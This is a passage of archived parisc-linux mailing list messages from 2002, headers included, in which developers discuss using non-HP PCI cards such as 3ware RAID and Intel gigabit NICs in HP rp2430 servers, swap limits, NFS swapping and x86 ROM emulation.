List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14270

On Fri, Mar 08, 2002 at 02:51:03PM +1100, Duraid Madina wrote:
> 	I'm wondering: Would I be able to use non-HP PCI cards in these
> systems, if they're supported under Linux? In particular, I'm wondering
> about 3ware IDE RAID cards (these work in (at least) alpha and x86
> linux) and Intel gigabit ethernet NICs (based on the 82554 chip).

*puts kernel hacker's hat on*
Sure!  All that stuff should work and if it doesn't it can be fixed.

*puts HP employee hat on*
Well, it might invalidate your warranty to put non-HP certified cards
in your system.

> 	And (no laughter, please) what's the maximum swap partition size
> parisc linux supports? Can parisc linux swap over NFS?

Forget about swapping over NFS.  It's prone to deadlock under
stress.  I think we support 2GB/file and up to 8 files, but I may be
underestimating... John would know.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Fri, 8 Mar 2002 13:38:24 +0000 (GMT)
Lines: 13
Approved: news@gmane.org
Message-ID: <E16jKZk-0006CC-00@the-village.bc.nu>
References: <20020308131509.D22831@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621136 4229 80.91.229.3 (22 Nov 2014 01:52:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:16 +0000 (UTC)
Cc: duraid@fl.net.au (Duraid Madina),
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 06:23:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 463014899
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 06:23:38 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16jKZk-0006CC-00; Fri, 08 Mar 2002 13:38:24 +0000
In-Reply-To: <20020308131509.D22831@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Mar 08, 2002 01:15:09 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14271

> > 	And (no laughter, please) what's the maximum swap partition size
> > parisc linux supports? Can parisc linux swap over NFS?
> 
> Forget about swapping over NFS.  It's prone to deadlock under
> stress.  I think we support 2GB/file and up to 8 files, but I may be
> underestimating... John would know.

NFS swapping probably isnt the best of ideas - if you ensure your atomic
memory pool is big enough you can make it work though. Nbd will also work
subject to the same kind of constraints. There are some patches around to
make nfs/nbd swap reliable by putting some hacks into the network code



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: 08 Mar 2002 09:04:47 -0500
Organization: mkp.net
Lines: 24
Approved: news@gmane.org
Message-ID: <yq1it87w3y8.fsf@austin.mkp.net>
References: <000301c1c654$78ae35c0$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621136 4231 80.91.229.3 (22 Nov 2014 01:52:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:16 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Duraid Madina" <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 07:04:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 644E24898
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 07:04:54 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=austin.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16jKzK-0004XH-00; Fri, 08 Mar 2002 09:04:50 -0500
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g28E4lm00896;
	Fri, 8 Mar 2002 09:04:47 -0500
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <000301c1c654$78ae35c0$022a17ac@simplex>
Original-Lines: 22
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14272

>>>>> "Duraid" == Duraid Madina <duraid@fl.net.au> writes:

Duraid> In particular, I'm wondering about 3ware IDE RAID cards (these
Duraid> work in (at least) alpha and x86 linux)

I don't think there are high hopes for the 3ware card.  At least not
unless you preconfigure it on a PC.

Alpha happens to work because its firmware includes a simple x86
simulator that executes the BIOS code on the card.  That way you can
configure your disk setup, etc.

We don't have similar functionality on PA-RISC.  So you are limited
what can be done from within Linux. 

Unfortunately the 3ware management utility is 386 binary-only.
I.e. you can't configure the card once you get Linux up and running
either.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Fri, 8 Mar 2002 15:00:36 +0000 (GMT)
Lines: 14
Approved: news@gmane.org
Message-ID: <E16jLrI-0006Qt-00@the-village.bc.nu>
References: <yq1it87w3y8.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621137 4235 80.91.229.3 (22 Nov 2014 01:52:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:17 +0000 (UTC)
Cc: duraid@fl.net.au (Duraid Madina),
	parisc-linux@lists.parisc-linux.org
To: mkp@mkp.net (Martin K. Petersen)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 07:45:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE6544894
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 07:45:49 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16jLrI-0006Qt-00; Fri, 08 Mar 2002 15:00:36 +0000
In-Reply-To: <yq1it87w3y8.fsf@austin.mkp.net> from "Martin K. Petersen" at Mar 08, 2002 09:04:47 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14273

> Alpha happens to work because its firmware includes a simple x86
> simulator that executes the BIOS code on the card.  That way you can
> configure your disk setup, etc.

There is btw a passable x86 emulator for free in the XFree86 code that
is used to do things like boot video cards.

> Unfortunately the 3ware management utility is 386 binary-only.
> I.e. you can't configure the card once you get Linux up and running
> either.

Bochs 8)



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: 08 Mar 2002 10:33:34 -0500
Organization: mkp.net
Lines: 29
Approved: news@gmane.org
Message-ID: <yq1elivvzu9.fsf@austin.mkp.net>
References: <E16jLrI-0006Qt-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621137 4240 80.91.229.3 (22 Nov 2014 01:52:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:17 +0000 (UTC)
Cc: duraid@fl.net.au (Duraid Madina),
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 08:33:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover (rover.mkp.net [209.217.122.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id BAABF48A0
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 08:33:44 -0700 (MST)
Original-Received: from localhost.localdomain ([127.0.0.1] helo=austin.mkp.net)
	by rover with esmtp (Exim 3.33 #1)
	id 16jMNH-0004qz-00; Fri, 08 Mar 2002 10:33:39 -0500
Original-Received: (from mkp@localhost)
	by austin.mkp.net (8.11.6/8.11.6) id g28FXYZ01252;
	Fri, 8 Mar 2002 10:33:34 -0500
X-Authentication-Warning: austin.mkp.net: mkp set sender to mkp@mkp.net using -f
In-Reply-To: <E16jLrI-0006Qt-00@the-village.bc.nu>
Original-Lines: 27
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14274

>>>>> "Alan" == Alan Cox <alan@lxorguk.ukuu.org.uk> writes:

>> Alpha happens to work because its firmware includes a simple x86
>> simulator that executes the BIOS code on the card.  That way you
>> can configure your disk setup, etc.

Alan> There is btw a passable x86 emulator for free in the XFree86
Alan> code that is used to do things like boot video cards.

Yep.  It's going to take a fairly big hammer to beat libint10 into
submission, though.  Interactively mocking with disk configuration and
whatnot is a bit more complex than kicking off some init fluff on a
video card.


>> Unfortunately the 3ware management utility is 386 binary-only.
>> I.e. you can't configure the card once you get Linux up and running
>> either.

Alan> Bochs 8)

It would actually be useful to hack it so we had a generic way of
running x86 card ROMs on non-{PC,Alpha,Itanium} architectures.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Fri, 8 Mar 2002 12:34:45 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0203081234300.20837-100000@ns>
References: <000301c1c654$78ae35c0$022a17ac@simplex>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621138 4245 80.91.229.3 (22 Nov 2014 01:52:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Duraid Madina <duraid@fl.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 10:34:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26AE54837
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 10:34:50 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA22855;
	Fri, 8 Mar 2002 12:34:45 -0500
X-Sender: nick@ns
In-Reply-To: <000301c1c654$78ae35c0$022a17ac@simplex>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14275

Erm.  Whare are you going to put the disks for the 3ware?
	Nick

On Fri, 8 Mar 2002, Duraid Madina wrote:

> Hi all,
> 
> 	I'm considering buying some rp2430s (at last, PA-RISC at the
> Right Price, or so it seems), and I want to run Linux on them (they're
> just a 'compute cluster')
> 
> 	I'm wondering: Would I be able to use non-HP PCI cards in these
> systems, if they're supported under Linux? In particular, I'm wondering
> about 3ware IDE RAID cards (these work in (at least) alpha and x86
> linux) and Intel gigabit ethernet NICs (based on the 82554 chip).
> 
> 	And (no laughter, please) what's the maximum swap partition size
> parisc linux supports? Can parisc linux swap over NFS?
> 
> 	Sorry for the oddball questions,
> 
> 	Duraid
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Fri, 08 Mar 2002 14:55:23 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <001f01c1c6db$30c467c0$02c1a8c0@james.co.uk>
References: <E16jLrI-0006Qt-00@the-village.bc.nu>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621138 4247 80.91.229.3 (22 Nov 2014 01:52:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 12:55:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94FA748A2
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 12:55:27 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout01.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSO00IKS7CDM1@mtaout01.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Fri, 08 Mar 2002 14:55:26 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14276

> > Alpha happens to work because its firmware includes a simple x86
> > simulator that executes the BIOS code on the card.  That way you can
> > configure your disk setup, etc.
> 
> There is btw a passable x86 emulator for free in the XFree86 code that
> is used to do things like boot video cards.
> 
> > Unfortunately the 3ware management utility is 386 binary-only.
> > I.e. you can't configure the card once you get Linux up and running
> > either.
> 
> Bochs 8)
> 

out of sheer curiosity, i installed bochs on my 712/60

running the linux demo that comes with it, i got a bogoMIPS rating of 0.82 

hehe :)

James S






From - Thu Nov 08 21:22:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 9 Mar 2002 07:25:56 +1100
Lines: 31
Approved: news@gmane.org
Message-ID: <000001c1c6df$745a0db0$022a17ac@simplex>
References: <20020308131509.D22831@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621138 4249 80.91.229.3 (22 Nov 2014 01:52:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Matthew Wilcox'" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 13:25:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29C9548A7
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 13:25:58 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id BF1BE17FD68; Sat,  9 Mar 2002 07:27:06 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <20020308131509.D22831@parcelfarce.linux.theplanet.co.uk>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14277

Matthew wrote:
> *puts kernel hacker's hat on*
> Sure!  All that stuff should work and if it doesn't it can be fixed.

Sweet.
 
> *puts HP employee hat on*
> Well, it might invalidate your warranty to put non-HP 
> certified cards in your system.

Grr, someone should stop HP from calling them PCI slots since they're
only rated to 20W/slot anyway ;) (which is out of spec, iirc)
 
> > 	And (no laughter, please) what's the maximum swap 
> partition size 
> > parisc linux supports? Can parisc linux swap over NFS?
> 
> Forget about swapping over NFS.  It's prone to deadlock under 
> stress.  I think we support 2GB/file and up to 8 files, but I 
> may be underestimating... John would know.

Damn! I was hoping that I could have something like 200GB of swap or so.
Would it be difficult to add support for more than 8 swap files?

	Thanks,

	Duraid





From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 9 Mar 2002 07:30:30 +1100
Lines: 30
Approved: news@gmane.org
Message-ID: <000101c1c6e0$1a4dba00$022a17ac@simplex>
References: <yq1it87w3y8.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621138 4252 80.91.229.3 (22 Nov 2014 01:52:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:18 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <mkp@mkp.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 13:30:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68EF148AB
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Mar 2002 13:30:35 -0700 (MST)
Original-Received: from simplex (idesign.fl.net.au [203.30.61.17])
	by delenn.fl.net.au (Postfix) with ESMTP
	id 18CF117FC3E; Sat,  9 Mar 2002 07:31:43 +1100 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
In-Reply-To: <yq1it87w3y8.fsf@austin.mkp.net>
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14278

Martin wrote:
> I don't think there are high hopes for the 3ware card.  At 
> least not unless you preconfigure it on a PC.

For sure.
 
> Alpha happens to work because its firmware includes a simple 
> x86 simulator that executes the BIOS code on the card.  That 
> way you can configure your disk setup, etc.

Oops, I think I was misleading when I said 3ware 'worked' in Alpha - 3dm
doesn't (of course) and yes, you need to do all array administration
stuff out of the BIOS on a PC.

> We don't have similar functionality on PA-RISC.  So you are 
> limited what can be done from within Linux. 

Well, so long as it can find the array and read/write, I'm set.
 
> Unfortunately the 3ware management utility is 386 
> binary-only. I.e. you can't configure the card once you get 
> Linux up and running either.

I have to admit, I find hardly any need for that tool even in x86 land
;)

	Duraid




From - Thu Nov 08 21:22:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Duraid Madina" <duraid@fl.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] 'foreign' PCI cards in an rp2430
Date: Sat, 9 Mar 2002 07:37:53 +1100
Lines: 10
Approved: news@gmane.org
Message-ID: <000201c1c6e1$1f9ae270$022a17ac@simplex>
References: <Pine.LNX.4.21.0203081234300.20837-100000@ns>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621139 4256 80.91.229.3 (22 Nov 2014 01:52:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:19 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <nick@snowman.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar  8 13:37:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delenn.fl.net.au (int-mail.syd.fl.net.au [202.181.0.28])
